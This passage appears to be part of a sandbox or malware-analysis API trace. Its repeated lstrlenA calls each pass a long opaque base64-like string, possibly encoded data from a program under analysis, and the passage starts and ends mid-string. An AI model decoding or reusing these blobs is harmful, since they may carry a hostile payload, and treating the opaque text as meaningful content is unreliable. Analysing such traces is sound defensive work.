aWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.639] lstrlenA (lpString="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") returned 5820
	[0084.639] lstrlenA (lpString="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") returned 5820
	[0084.639] lstrlenA (lpString="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